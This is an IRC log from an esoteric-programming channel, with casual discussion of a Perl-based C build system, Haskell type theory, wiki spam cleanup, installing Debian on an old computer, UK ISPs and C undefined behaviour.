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22:33:00 <ais523> elliott: basically, the situation is that I'm using Perl's object notation for config files because I'm trying not to depend on any of CPAN, and I don't want to write my own YAML or JSON parser
22:33:10 <ais523> but I felt a bit queasy just running it through eval
22:33:24 <elliott> the solution is to depend on CPAN
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22:34:05 <ais523> elliott: no, then it won't be the best build system ever
22:34:31 <zzo38> Depending on who is running the program, and why, and what stuff exactly the configuration file is meant to do, using eval might be OK
22:34:35 <ais523> I was aiming for 1 dependency on Win32, 0 on POSIXy systems
22:35:02 <ais523> (I don't think it can be done with 0 dependencies on Win32)
22:35:17 <ais523> and that means relying on a scripting language that's portable and ready-installed everywhere on POSIX, and easy to install on Windows
22:35:23 <ais523> which basically drives the choice down to Perl or Python
22:35:59 <elliott> ais523: the best build system ever wouldn't be written in either of those
22:36:03 <ais523> zzo38: awk's a bit awkward for this sort of system
22:36:09 <ais523> elliott: I'm not convinced
22:36:14 <elliott> it also wouldn't run on win32
22:36:28 <Mathnerd314> elliott: compile <otherlang> to Perl or Python, done
22:36:36 <ais523> zzo38: C needs a build system, you need to avoid recursion here
22:36:50 <elliott> ais523: you realise you can write one more makefile in your life without dying, right?
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22:36:51 <ais523> either that, or the build system needs its own separate build system, which is silly
22:36:54 <elliott> Mathnerd314: @lang can't be compiled to perl or python
22:37:20 <ais523> elliott: right; but I don't know if my users can run it correctly
22:37:35 <elliott> ais523: who gives a fuck about users?
22:37:38 <ais523> and it's surprisingly hard to write a correct makefile
22:37:46 <zzo38> I usually use a simple shell script to compile C programs
22:38:17 * oerjan pictures ais523's tombstone: "HE MADE ONE MAKEFILE TOO MANY"
22:38:26 <ais523> context: I'm trying to replace an inherited cmake-based build system because this specific build script doesn't work properly on Linux (recompiles from scratch no matter what) or at all on OS X, for currently unclear reasons
22:39:02 <ais523> elliott: oh, this is also an attempt to write a build system for C, I forgot to clarify that
22:39:11 <ais523> sufficiently good languages don't need build systems, just a compiler
22:39:19 <ais523> Mathnerd314: it's perfect by definition, the problem is trying to construct it
22:39:24 <zzo38> The most portable programming language is probably TeX although it is probably not suitable for your purpose.
22:39:31 <elliott> Mathnerd314: well, you know how all other languages have these pesky problems that make them bad?
22:39:42 <ais523> zzo38: seriously? does it run out of the box on Windows or VMS?
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22:40:13 <zzo38> ais523: You just need a TeX distribution, and then it will run on any operating system.
22:40:30 <ais523> zzo38: yes, and you need to build it, and so on
22:40:52 <elliott> ais523: you realise Windows users use binaries?
22:40:58 <Mathnerd314> elliott: and you don't count "missing compiler that outputs Perl" as a problem?
22:41:08 <ais523> if the build system can build TeX, then it could build a program written in C
22:41:18 <elliott> Mathnerd314: have you *seen* Perl?
22:41:20 <ais523> elliott: and it's possible to bundle Perl into binaries for Windows
22:41:42 <zzo38> TeX is written in Pascal, though. Usually it is still compiled with a C compiler though, but there are TeX distributions that use a Pascal compiler.
22:41:42 <ais523> but I can't reasonably put a Windows binary into a source tarball and keep it updated; it'd be pretty large
22:42:32 <zzo38> ais523: I agree; don't put a Windows binary into a source tarball. Put it in a separate file which is ZIP
22:42:37 <Mathnerd314> elliott: yes, I see nothing worse than LLVM
22:43:04 <elliott> Mathnerd314: have you *seen* LLVM?
22:43:07 <ais523> admittedly, I'm writing it in Perl 5.10
22:43:22 <ais523> I seriously looked at its internals thinking about gcc-bf, it is so nastily inflexible
22:43:55 <zzo38> I think LLVM is not such a bad programming language, although it would be good with macros (such as Lisp or BLISS style macros)
22:44:12 <zzo38> Have you seen BLISS? I happen to like some of the features of BLISS too
22:46:11 <elliott> ais523: are you disagreeing with me?
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22:46:39 <elliott> oerjan: Why is there no Contravoid such that (Contravoid -> r) ~ Void for all r?
22:47:07 <elliott> oerjan: I would also accept a Contravoid such that (Contravoid -> T) ~ Void for some T.
22:47:13 <elliott> (T =/= Contravoid, presumably.)
22:48:00 <zzo38> elliott: If you consider -> to be an exponent then perhaps it can be understand?
22:48:15 <oerjan> because \x -> undefined != undefined, hth.
22:48:19 <elliott> zzo38: But it's annoying. :(
22:48:34 <elliott> <elliott> oerjan: I would also accept a Contravoid such that (Contravoid -> T) ~ Void for some T.
22:48:38 <elliott> For some inhabited T, I should say.
22:48:42 <zzo38> One feature of BLISS is that a variable name in an expression represents the address of the variable, rather than its value. Another feature is that structures are allowed to contain program instructions too
22:49:32 <oerjan> elliott: if x \in r, const x \in (Contravoid -> r)
22:49:33 <zzo38> elliott: Annoying? How?
22:49:52 <ais523> elliott: I don't know, because I haven't been able to figure out what your opinion is so far
22:49:59 <ais523> so I'm stating mine, so you can either agree or disagree with it
22:50:18 <elliott> oerjan: thank you, I'm not so much of an idiot to require a constructive proof
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22:51:02 <elliott> oerjan: but it's annoying!
22:51:09 <elliott> what has to change to make that exist?
22:51:21 <elliott> ooh, if you have linear typing stuff, then you just need Contravoid to be a type with no eliminators
22:51:25 <oerjan> you could make Void inhabited. hth.
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22:51:42 <elliott> since you can't discard it, and can't eliminate it, there'll be no functions of that type
22:52:10 <zzo38> Do you know what law of this class is supposed to be (other than (multiid *$>) = id)? class Multiapply f v v' | f -> v, f -> v' where { (*$>) :: f -> v -> v'; multiid :: (v ~ v') => f; }; And do you know how common are things like what is used in the type signature for multiid?
22:52:22 <elliott> oerjan: (the reason I wonder is because with the pipes stuff, a sink (i.e. something that takes input and produces a result, but doesn't send anything downstream) can have its output type set to Void)
22:52:24 <zzo38> shachaf: I want to ask the same question too
22:52:28 <elliott> oerjan: (so it can't yield anything)
22:52:35 <shachaf> elliott: zzo38 wants to ask the same question too
22:52:54 <elliott> oerjan: (but a source (which takes no input and produces values downstream and a result) has to have input set to ())
22:53:07 <elliott> oerjan: (since it's impossible to stop you using the IWantInput (anInput -> AnotherPipeEtc) constructor)
22:53:17 <Mathnerd314> shachaf: type such that Contravoid -> T ~ Void
22:53:55 <elliott> hmm, i guess that linear thing is satisfying enough
22:54:10 <elliott> i wonder if there already _is_ a concept of something with no "eliminators" in that sense in normal linear logic.
22:54:19 <oerjan> linear logic is _very_ symmetric
22:54:19 <zzo38> shachaf: And yes I know that is impossible, something I have thought of too
22:54:48 <shachaf> I think elliott has /ignored me.
22:55:02 <elliott> oerjan: is that meant to imply "yes, probably"?
22:55:08 <oerjan> elliott: something like that
22:55:24 <elliott> if 0 is the uninhabited type i'm expecting it to be
22:55:40 <elliott> i don't understand the difference, naturally
22:57:48 <oerjan> i mean, a |- b is equivalent to ~b |- ~a (and to a, ~b |- _|_ and 1 |- ~a, b iirc, _everything_ can be moved across to the other side of the sequent by negating it)
22:58:08 <zzo38> In Ibtlfmm (currently a codename), the uninhabited type is called 0, and Word8 is now called Nat8, and Maybe is now called a successor monad; is it better?
22:58:11 <elliott> ais523: Where is the C-INTERCAL supplemental reference manual?
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22:58:58 <oerjan> i suppose classical logic also does that, but not intuitionistic logic
23:05:11 <ais523> elliott: supplemental? I only know of revised and revamped
23:05:22 <ais523> or was supplemental the original?
23:07:19 <elliott> Wikipedia references it, and it's a deadlink
23:07:42 <ais523> reference the one on ESR's site, I guess
23:07:47 <ais523> that's probably the one it wants
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23:16:16 <elliott> zzo38: OK, this is the real instance:
23:16:18 <elliott> Apply g x >>= f = Apply (g >>= f) (x >>= f)
23:16:18 <elliott> Abstract e >>= f = Abstract (e >>= maybe (return Nothing) (fmap Just . f))
23:16:27 <elliott> probably there's an easier way to write that last clause
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23:18:05 <elliott> I forget what beta-reduction looks like but it's a one-liner with the monad interface
23:20:11 <zzo38> You need to define the Abstract constructor too
23:20:24 <shachaf> elliott: Nonsense. _|_ === const _|_
23:21:53 <elliott> shachaf: Are you furthering your campaign of bothering me about things I said in other channels by going a step further and not actually bothering to read what I say before doing it?
23:22:01 <elliott> zzo38: I just renamed Lam to Abstract.
23:22:46 <shachaf> elliott: You said that safeDivide = _|_ is different from safeDivide = \x y -> _|_
23:24:11 <elliott> Sure, if you think that (\x y -> if y == 0 then x else ⊥) is ⊥.
23:24:11 <oerjan> > (const undefined `seq` "yeah", undefined `seq` "sure")
23:24:12 <lambdabot> ("yeah","*Exception: Prelude.undefined
23:39:59 <RocketJSquirrel> @TOMayorFord This guy at the dog park is pretending to be an 80s businessman on his phone. No way ppl actually talk like this. He's faking! about 2 hours ago \\ LOOK GUYS I JUST WANTED TO TELL THE MAYOR OF TORONTO ABOUT THIS DOG PARK GUY. TWITTER IS HARD. I'M IN OVER MY HEAD HERE about 2 hours ago
23:47:04 <zzo38> Instead of Graphics.Gloss.Picture.Picture then use something like this: class (Alternative f, MonadPlus f) => IsPicture f where { convexPolygon :: Path -> f x; thickLine :: Float -> Path -> f x; thickArc :: Float -> Float -> Float -> f x; translate :: Float -> Float -> f x -> f x; rotate :: Float -> f x -> f x; scale :: Float -> Float -> f x -> f x; recolor :: (Color -> Color) -> f x -> f x; };
23:53:12 <zzo38> Together with the mathematical laws that recolor is a functor, scale and rotate and translate follow the laws of Euclidean geometry, and to be known that the input ranges of the other functions should always be in range
23:53:16 <oerjan> zzo38: btw i saw yesterday there was a new version of gloss out
23:53:27 <zzo38> oerjan: Yes I saw that too
23:54:05 <zzo38> They did add playIO, but it still does not support return values, and Rotate is still clockwise (even though it should be counterclockwise in the opinion of myself and others)
23:55:56 <zzo38> What is your opinion of it?
23:56:08 <RocketJSquirrel> elliott: Web comic artist tries to tweet the mayor of Toronto about Dog Park Guy.
23:58:59 <zzo38> Because, mathematics is usually done counterclockwise, isn't it? (Horoscopes are also done counterclockwise but that isn't the point)
00:00:19 <oerjan> zzo38: yes, although with x axis rightwards and y axis up, those are sort of connected; does gloss have that?
00:00:46 <zzo38> oerjan: I don't know, but in my opinion it should.
00:01:39 <ais523> As a special case the 3-arg form with a read/write mode and the third argument being "undef": open(my $tmp, "+>", undef) or die ... opens a filehandle to an anonymous temporary file. Also using "+<" works for symmetry, but you really should consider writing something to the temporary file first.
00:02:02 <ais523> API documentation doesn't make me laugh very often…
00:03:23 <zzo38> oerjan: And yes I do agree it is connected
00:03:36 <oerjan> is elliott tired again
00:03:40 <elliott> falls over laughing, collapses, dies of laugh
00:03:51 <elliott> remembered for laugh for years to come
00:04:03 <elliott> wikipedia article categorised [[Category:Hexham laughers]]
00:04:18 <oerjan> elliott: it would work better if you had a webcam, i think
00:04:43 <Jafet> http://www.youtube.com/watch?v=7edeOEuXdMU
00:04:59 <zzo38> (I also dislike the function to convert the world to picture being IO, as in my opinion only the input and world step should be IO; but that is a minor thing)
00:06:18 <oerjan> #esoteric poll, why don't you have a webcam? (1) i'm too dead (2) i don't like talking with sound (3) i'm too ugly (4) i'm a pathological liar
00:06:36 <elliott> zzo38: that was justified on the bug tracker.
00:06:53 <elliott> oerjan: webcams dont do sound oerjan
00:06:58 <oerjan> ((5) all of the above)
00:07:09 <oerjan> elliott: oh right. (6) i don't do sign language
00:07:23 <zzo38> elliott: I know; I did read the bug tracker.
00:10:43 <zzo38> And why does InWindow require a position? The computer's windowing system should set its position.
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00:16:07 <elliott> 30 upvotes in one day. how. why. the answer wasn't. *that* good
00:18:18 <zzo38> Maybe it was good to thirty people, that may be why.
00:25:54 <ais523> $subs->{"\$$_"} = eval "\$$_" for 1..9;
00:26:05 <ais523> I still contend that this is better than the alternative without eval
00:26:10 <ais523> and blame Perl for not using an array for that
00:26:33 <ais523> oerjan: I have a webcam, but don't know how to use it, or if the system even has drivers for it
00:27:33 <oerjan> IMPLAUSIBLE, I PUT THAT AS A (4)
00:28:24 <elliott> someone tell me to sleep please. thank you
00:29:21 <elliott> http://esolangs.org/wiki/Sandbox/td http://esolangs.org/wiki/Sandbox/tr why do these pages exist
00:29:29 <elliott> why does timwi not know what the esolang namespace is
00:29:39 <elliott> ais523: can you expurgate them :(
00:30:13 <elliott> but i've done so many deletions lately, so many
00:30:24 <ais523> btw, Sandbox is totally a good name for an esolang
00:30:26 <elliott> infinity% the deletions i did before february in fact
00:30:41 <elliott> i'm worried that if i delete too many more pages i'll become mad with power and invent the next esme
00:30:45 <oerjan> _____ _ _ ___ ___ _____ _____ ____ _ _____ _____ ____ _
00:30:46 <oerjan> | ____| | | | |_ _/ _ \_ _|_ _| / ___|| | | ____| ____| _ \| |
00:30:46 <oerjan> | _| | | | | | | | | || | | |(_) \___ \| | | _| | _| | |_) | |
00:30:46 <oerjan> | |___| |___| |___ | | |_| || | | | _ ___) | |___| |___| |___| __/|_|
00:30:46 <oerjan> |_____|_____|_____|___\___/ |_| |_|(_) |____/|_____|_____|_____|_| (_)
00:30:48 <elliott> and replace all links on the wiki with links to it
00:30:53 <elliott> that's why you have to delete them instead
00:31:36 <elliott> ais523: btw, i was thinking we might want to disable the rules in the spam-blacklist temporarily as a honeypot so we can block more spammers (leading to their later deletion)
00:33:37 <elliott> since i'd like to do all the deletions in one go and wipe out as many of the spammers as possible
00:34:19 <oerjan> that would sort of require the spammers reusing old accounts predictably fast...
00:34:39 <elliott> oerjan: the reason we added the rules to the blacklist is because the spammers kept reusing accounts.
00:35:14 <oerjan> elliott: can't you get the blacklist to log the username blocked? >:)
00:35:52 <elliott> oerjan: no, spamblacklist doesn't really have any features
00:36:00 <elliott> i suspect because it was designed for Wikimedia levels of traffic
00:36:10 <elliott> ais523: could we set up similar rules in the abusefilter that auto-block with an override thing?
00:36:18 <elliott> i worry that the code for the rule would be baroque.
00:36:39 <ais523> but I'm too tired to write them right now
00:37:06 <elliott> ais523: oh, I'll have a go at writing them tomorrow if it's feasible
00:39:16 <elliott> oerjan: rule 1. im gonig to sleep now
00:39:29 <elliott> rule 3. the first person to say ais523 wins
00:39:46 <ais523> it's my name, so you pinged me
00:39:54 <ais523> not sure if I was the first person ever to say it, though
00:40:00 <ais523> that's not much of a prize
00:40:15 <oerjan> buddhists consider it the _best_ prize
00:40:38 <elliott> buddhists "real fans of the elder scrolls"
00:40:52 <lambdabot> Local time for elliott is Wed Mar 28 01:40:55
00:41:17 <elliott> ais523: i forget how time works, is it really later than 01:40 or really earlier
00:41:26 <oerjan> @AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAaa
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00:41:27 <elliott> the clocks changed to be wrong but i forget how
00:41:36 <elliott> yay, i am absolved of guilt
00:42:08 <elliott> anyway, wake me up if anything interesting happens
00:44:07 <zzo38> Don't you know that the solar time is the hour angle of the sun in the opposite direction through the Earth?
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00:47:54 <oerjan> it was quiet. too quiet.
00:49:59 * oerjan thinks Special:Random suspiciously often hits articles he's recently edited already
00:50:41 <RocketJSquirrel> oerjan: I think there are suspiciously fewer pages on the wiki than you intuit.
00:50:43 <oerjan> with 1034 articles, i don't think the birthday paradox should apply _this_ often...
00:51:50 <oerjan> oh hm it does get cumulative, i guess
00:52:57 <oerjan> but i just hit http://esolangs.org/wiki/Real_Fast_Nora%27s_Hair_Salon_3:_Shear_Disaster_Download, one of our (maybe _the_) newest articles
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01:24:00 <oerjan> i think some here may find this interesting: http://www.h-online.com/open/news/item/The-GNU-C-Library-Steering-Committee-disbands-1484707.html
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01:25:42 <oerjan> "Ulrich Drepper, who, according to the glibc web site, has had "overall responsibility for maintenance and development" of the project up until now, is absent from this list."
02:01:36 <zzo38> A few minutes ago I was playing a pinball game. I lost eight balls quickly, but then got an extra ball and was able to score more points. (There is normally nine balls per game, in this table)
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02:15:16 <ion> I thought you didn’t like using balls in a pinball game, but instead remove the glass panel and trigger the sensors by hand.
02:17:41 <zzo38> ion: What is the game if there are no balls? Then it is not a pinball game. But I do play tables that lack flippers.
02:19:50 <zzo38> According to Jack Chick, the "IHS" on Catholic communion wafers stands for the Egyptian trinity Isis, Horus, and Seb; Roman Catholics worship multiple Jesuses; record companies that sell rock music put a curse on every record before it is sold; gluons do not exist; science and everything else is just another kind of religion; and vampires can be born and then not eat or drink for ten years.
02:36:32 <kmc> i'm amused that some religious fundamentalists (e.g. conservapedia) are strongly pro-quantum and anti-relativity
02:36:53 <kmc> because relativity == moral relativism, plus einstein was an atheist jew
02:37:06 <kmc> whereas quantum indeterminism proves that the will of god is active in the world today
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04:07:40 <Sgeo_> And it's only some HTML5 videos crashing me.
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04:30:01 <zzo38> Why do they judge a theory by the religion of who invented it? I suppose some people may say quantum indeterminism *suggests* that the will of God active in the world today (but you still have to be careful that it matches the mathematics, and regardless this is now philosophy and not science); it certainly does not *prove* it (at least in my opinion).
04:30:47 <zzo38> kmc: Also see that much of Jack Chick's things are even more illogical than the things you are mentioning
04:32:05 <zzo38> He even gets things wrong such as what side of the room something will be on.
04:36:22 <Sgeo_> Although, as a kid, I thought maybe God acted via quantum indeterminism, since I couldn't see any other mechanism for God to act.
04:36:24 <kmc> sigh, some versions of clang don't die on unrecognized flags, even with -Werror
04:37:58 <zzo38> Sgeo_: I think that is a valid philosophy, but it isn't science to say God acted via this or that or whatever. Nor does it necessarily mean it is true.
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05:09:35 <zzo38> Please complain about this.
05:09:48 <zzo38> And then stop complaining about this.
05:09:55 <zzo38> And then continue to complain about this.
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05:13:15 <zzo38> OK, which one do you want, please?
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12:53:00 <elliott> I really wish they'd kick people in #haskell who get two clear directions to stop and read a tutorial and ignore them.
12:58:10 <elliott> Hugs doesn't implement the restriction stated in the report (section 4.3.1) that the type of member functions may only add constraints to the type variables which are local to the member. Thus Hugs accepts this program without reporting an error:
12:58:11 <elliott> class C a where f :: Eq a => a
12:58:16 <elliott> what a weird-ass restriction
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13:22:09 <elliott> The GNU C Library Steering Committee disbands (h-online.com)
13:22:24 <elliott> [[McGrath, who is the initial founder of the project, will be leading the development of the project together with Joseph Myers and Carlos O'Donell. Ulrich Drepper, who, according to the glibc web site, has had "overall responsibility for maintenance and development" of the project up until now, is absent from this list. In his email, McGrath thanks both Drepper and Jakub Jelinek, a member of the disbanded committee, for their years of work on th
13:22:24 <elliott> e project but, like Jelinek, other former members of the Steering Committee are not part of the new governance group.
13:22:29 <elliott> RocketJSquirrel: pikhq: woah!!!
13:24:43 <elliott> http://www.reddit.com/r/programming/comments/rgrx5/the_gnu_c_library_steering_committee_disbands/c45q12q?context=2
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13:31:37 <elliott> and also other esoteric programming languages, too
13:31:41 <HackEgo> delicado: Welcome to the international hub for esoteric programming language design and deployment! For more information, check out our wiki: http://esolangs.org/wiki/Main_Page
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15:55:30 <lambdabot> Phantom_Hoover: You have 1 new message. '/msg lambdabot @messages' to read it.
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15:58:18 <GhostHand> She is good at singing in the shower
16:01:11 <Phantom_Hoover> Waitwaitwait, Bulwer-Lytton came up with the phrases "the pen is mightier than the sword" and "the unwashed masses".
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16:10:14 <Taneb> Can anyone recommend a text-based OS? I've got a computer without a working mouse, and I want it to be usefuk
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16:10:46 <elliott> just install linux and put a tiling WM on, plus vimperator or conkeror or whatever
16:11:38 <Taneb> The computer's over 10 years old, btw
16:12:56 <Taneb> Also, elliott, re: Talk:Categorization, I have in the past wanted to browse languages by there interactiveness
16:13:12 <elliott> Taneb: Yes, but you're weird.
16:13:25 <Taneb> Yeah, but so are you
16:13:51 <Taneb> Other than that, this channel's mostly normal
16:14:19 <Taneb> (this when I was looking for languages to make an IRC bot in)
16:15:17 <Taneb> OK, this computer doesn't meet the requirements for Arch
16:15:56 <Phantom_Hoover> "As a member of the Estates-General, of the Constituent Assembly and of the Jacobin Club, he defended the abolition of slavery and of the death penalty, he supported equality of rights, universal suffrage and the establishment of a republic. He opposed war with Austria and the possibility of a coup by La Fayette. As a member of the Committee of Public Safety, he was instrumental in the period of the Revolution commonly k
16:15:56 <Phantom_Hoover> nown as the Reign of Terror, which ended a few months after his arrest and execution in July 1794."
16:16:04 <elliott> Taneb: The requirements are kind of irrelevant, but here:
16:16:17 <elliott> Taneb: http://cdimage.debian.org/cdimage/daily-builds/daily/arch-latest/i386/iso-cd/debian-testing-i386-netinst.iso
16:16:53 <elliott> Phantom_Hoover: "His supporters called him "The Incorruptible", while his adversaries called him dictateur sanguinaire (bloodthirsty dictator)."
16:18:13 <RocketJSquirrel> elliott: microcosm can now launch its own native GCC on multiple OSes.
16:21:27 <elliott> RocketJSquirrel: I thought microcosm was dead.
16:23:41 <Taneb> elliott, this computer doesn't have internet connection, is that okay?
16:25:13 <RocketJSquirrel> I think that any definition of "useful" that allows computers without Internet connections needs careful reconsideration.
16:26:26 <Taneb> If in this ISO there is the drivers for the wifi thingy I am using...
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16:30:55 <Taneb> Okay, I have no idea how to boot from CD
16:31:26 -!- Jafet has joined.
16:33:11 <Taneb> So... I'm on the setup menu (before the Windows 98 flag shows)
16:33:59 <Taneb> The sections are: Standard CMOS setup; BIOS features setup; chipset features setup; power management setup; pnp/pci configuration
16:34:13 <Taneb> Load BIOS defaults; load setup defaults; integrated peripherals
16:34:28 <Taneb> Supervisor password; user password; IDE HDD auto detection;
16:34:36 <elliott> <Taneb> elliott, this computer doesn't have internet connection, is that okay?
16:34:43 <Taneb> save & exit setup; exit without saving
16:34:58 <elliott> And it'll be BIOS features perhaps.
16:35:06 <elliott> You'll find something about boot order.
16:35:16 <elliott> It could be that the computer is so old it can't boot from CD.
16:35:23 <elliott> If that's the case, it'll still be possible, just a little trickier.
16:36:43 <Taneb> Virus warning; CPU internal cache; external cache; CPU write allocate; quick power on self test; boot sequence; vga boot from; swap floppy drive;
16:36:43 <Taneb> boot up floppy seek; boot up numlock status; boot up system speed
16:36:43 <Taneb> gate a20 option; security option
16:36:54 <Taneb> PCI/VGA palette snoop
16:37:04 <Taneb> OS Select for DRAM > 64MB
16:37:13 <Taneb> HDD S.M.A.R.T. capability
16:37:22 <Taneb> Report no FDD for Win 95
16:37:26 <Taneb> Video BIOS Shaddow
16:37:37 <Taneb> And a whole bunch of other shadows
16:37:57 <Taneb> (And I'm pretty sure it can boot from CD, otherwise the Windows 98 SE CD we have somewhere would be useless
16:40:36 <elliott> And no, that came with a floppy to boot it, IIRC, although maybe I'm wrong
16:46:22 <Taneb> I've definitely got a CD
16:49:25 <Taneb> In the Boot Sequence menu, I set it to "CDROM, A, C"
16:50:51 <elliott> how did you burn the debian cdrom
16:51:05 <Taneb> Using the thing that popped up
16:51:30 <Taneb> Onto the CD that had less than 650 MB memory
16:53:13 <Taneb> They're 650 MB CDs
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17:42:05 <nortti> ugh. TenFourFox started to hang on startup and grind my system to halt
17:46:23 <Phantom_Hoover> Oh for I have to use date to get it to acknowledge BST?
17:50:36 <olsner> not people, but apparently phantom hoovers do
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17:58:58 <Phantom_Hoover> When they inexplicably don't automatically set the hour forward or back, then yes.
18:00:04 <elliott> Phantom_Hoover: Have fun with that if you're running ntp
18:00:22 <oerjan> I DON'T WANT A TURING-COMPLETE DEVICE ON MY ARM *ignores cell phone and babbles incoherently. wait, my cell phone also doesn't change automatically...*
18:01:06 <elliott> oerjan: it's also not turing complete
18:01:20 <fizzie> elliott: oerjan's phone has an infinite tape attached.
18:01:28 <oerjan> elliott: WHO KNOWS IT MIGHT BE CONNECTED TO AN INFINITE MEMORY RUN BY THE CIA
18:01:31 <fizzie> (People keep stumbling over it.)
18:02:13 <oerjan> elliott: also, incoherently babbling people don't know such details.
18:04:46 <oerjan> if my phone had an infinite tape for TC-ness, it would have to move along it, because lightspeed prevents the tape from moving fast enough without getting cluttered because it won't know _which_ way to move because halting problem and lightspeed.
18:05:33 <oerjan> (by cluttered i mean collapsing into a black hole, probably around my phone)
18:06:21 <elliott> thank you oerjan. that was *almost* science
18:08:20 <elliott> WHY DO PEOPLE COME INTO #HASKELL ASKING ABOUT WHAT MONADS ARE
18:08:22 <elliott> REFUSE TO LEARN ANY HASKELL
18:08:33 <elliott> FUCK YOU! THIS IS #HASKELL!
18:08:36 <oerjan> or wait, does lightspeed and relativity mean it _could_ move fast enough because length contraction
18:09:00 <elliott> oerjan: you're a #haskell op right
18:09:04 <elliott> please join and ban everyone
18:09:18 <olsner> but really, the whole tape isn't moving just because you pull on it on one end
18:09:41 <oerjan> olsner: i'd be assuming it had some kind of propulsion
18:10:12 <fizzie> Tug-of-war at the two ends of the infinite tape.
18:10:56 <oklopol> the propulsion would travel at the speed of sound
18:11:33 * oerjan isn't sure oklopol knows what propulsion is.
18:11:34 <oklopol> but if the tape can, say, stretch twice as long everywhere, does it necessarily snap if you make the tm move really slow?
18:12:12 <oklopol> i just assumed you just used some random word for the obvious physical way you would implement this
18:12:30 <oerjan> no no. tape with ion engines, that's the ticket.
18:12:48 <oklopol> (that's how _i_ usually implement infinite tapes at least.)
18:12:52 <fizzie> Let's that have the phone move along the tape, I'm sure oerjan won't have any reservations about going where the computation goes.
18:13:31 <elliott> the earth is actually a speck of dust on a gigantic infinite tape
18:13:35 <elliott> moving along with a cell phone
18:13:39 <elliott> and a gigantic oerjan carrying it
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18:27:42 <Taneb> My phone is merely linear bounded :(
18:33:56 <oerjan> i used to have a phone bound to a line, too
18:37:08 -!- cheater has joined.
18:38:18 <oerjan> <Taneb> Other than that, this channel's mostly normal <-- VILE SLANDER
18:40:18 <Taneb> Phantom Hoover is the only person in Edinburgh I know, so I'm using him as a standard Edinburger
18:40:31 <Taneb> Also, all the Finns I've ever encountered are on this channel
18:40:39 <Taneb> So I assume they're normal Finns
18:40:48 <Taneb> Same with Swedes and Norwegians, come to thing of it
18:42:05 <Taneb> fungot, you're a normal fungot, right?
18:42:05 <fungot> Taneb: mr president, thank you for your understanding.
18:42:19 <Taneb> No, thank you, fungot.
18:42:20 <fungot> Taneb: mr president, my dear friends, let us take it at its word... ( the president cut the speaker off)
18:42:29 <fungot> Available: agora alice c64 ct darwin discworld europarl* ff7 fisher fungot homestuck ic irc iwcs jargon lovecraft nethack pa qwantz sms speeches ss wp youtube
18:42:47 <fungot> Selected style: discworld (a subset of Terry Pratchett's Discworld books)
18:42:56 <Taneb> fungot, now you're normal, right?
18:42:57 <fungot> Taneb: " just as well take his chances with a fnord carrying off a vasung woman a few hundred feet below she saw a patch of empty air. there wasn't much of a mess of beans cooking,' he said.
18:43:12 <Taneb> See, oerjan, perfectly normal
18:49:48 <fungot> Selected style: speeches (misc. speeches from Project Gutenberg)
18:49:58 <fungot> elliott: the first question, suddenly disappeared; and the question of the right honourable gentleman the secretary of state for india. in this manner with his connections, he is perfectly logical if there is a shout, among the greeks, in romance. froissart was our herodotus. italy was to europe what athens was to greece. in italy, and the uses of the influences of heaven itself are in that country. his words are fnord king or
18:50:05 <fizzie> No, it's not new. It's not very good either.
18:50:12 <fungot> Selected style: qwantz (Dinosaur Comics transcriptions 2003-2011)
18:50:15 <fungot> elliott: i i guess what, dromiceiomimus? i don't see a punchline, and that of all the things that will e, or are they the shadows of the things that will e, or are they the shadows of the things that will e, or are they the shadows of the things that will e, or are they the shadows of the things that will e, or are they the shadows of the things that will e, or are they the shadows of the things that will e, or are they the sha
18:50:19 <fizzie> I like the "(the president cut the speaker off)" bit.
18:54:18 <elliott> fizzie: What's the best UK ISP???
18:59:33 <fizzie> Uh... Andrews & Arnold?
18:59:52 <fizzie> ""Andrews & Arnold Ltd (also known as AAISP) is an Internet service provider based in Bracknell in the United Kingdom founded in 1997 and launched in 1998[1], primarily serving businesses and "technical" home users.[2]
18:59:56 <fizzie> In 2009 the company was judged the best niche provider in the Thinkbroadband Customer Service Awards, based on customer ratings.[3]
19:00:00 <fizzie> The company's owner, RevK, stated in a blog post that as of October 2010 the company is "XKCD/806" compliant, referring to XKCD comic number 806. This means that technical support callers who say the code word "shibboleet" will be transferred to a technical support representative who knows at least two programming languages, and presumably can offer more useful advice than a standard tech support script.[4][5]"
19:00:17 <fizzie> (I just picked the one not-completely-commercial sounding ISP that was mentioned on the UK paragraph of the IPv6 page.)
19:00:28 <fizzie> Where "commercial" == "for companies" in the above.
19:00:49 <elliott> fizzie: Those are one of the ones I'm considering, yes.
19:00:54 <elliott> (Also the only IPv6 one I'm considering.)
19:01:13 <fizzie> I don't know anything about UK ISPs, so...
19:02:16 <fizzie> Their usage-based pricing scheme seems slightly complicated to me.
19:04:07 <olsner> so, can cabal-install still only build packages using one cpu?
19:04:27 <oerjan> itt: the turing-complete pricing scheme
19:05:19 <elliott> (FWIW, the other ISPs I'm considering are Zen, Xilo, and if I'm feeling ~sellout~ Sky and O2 (both of which seem to be the least bad "commercialised" providers; Sky is cheap (7.50 pounds/mo) since we already have TV with them, and neither shapes or throttles torrent traffic).)
19:05:30 <elliott> (This will help fizzie advise me, as he is an expert on UK ISPs.)
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19:07:20 <olsner> http://stackoverflow.com/a/7872263/176315 suggests it is actually on its way somewhere, in some form
19:07:35 <elliott> olsner: it's not merged yt
19:08:03 <fizzie> Incidentally, we had a building-management-company (I don't know the proper term; the "corporation" made out from people owning apartments in this building, that negotiates things like maintenance and utilities and whatever) meeting today, turns out the one ISP which asked whether they could FTTB the building, and got permission, actually never bothered. On the other hand, the other ISP (our current) who actually did fiber us up apparently didn't bother t
19:08:22 <oerjan> SchrodingersCat: it's undefined behavior.
19:08:51 <olsner> I just realized my other computer (this one) had a woefully out-of-date haskell setup that required a bunch of annoying upgrades and cabal building, would've been almost instant if it could use more than one cpu
19:08:57 <fizzie> SchrodingersCat: Because: "Between the previous and next sequence point an object shall have its stored value modified at most once by the evaluation of an expression. Furthermore, the prior value shall be accessed only to determine the value to be stored."
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19:10:07 <fizzie> The left side is an access that is not used to determine the value to be stored.
19:11:09 <fizzie> (T=X,T==X++) with a suitably typed T is defined and likely to be true, though I suppose maybe not if X isnan.
19:11:22 <fizzie> elliott: Didn't bother to actually tell the company-doing-the-technical-maintenance-stuff-for-us that they were going to.
19:11:41 <fizzie> SchrodingersCat: x=x++ is almost the most canonical example of undefined behaviour due to the sequence point rule.
19:11:48 <elliott> fizzie: The problem with tech-savvy ISPs is that they're scary.
19:11:55 <elliott> fizzie: It's much easier to talk to someone incompetent, you know?
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19:13:06 <shachaf> elliott: "monple" sounds pretty good.
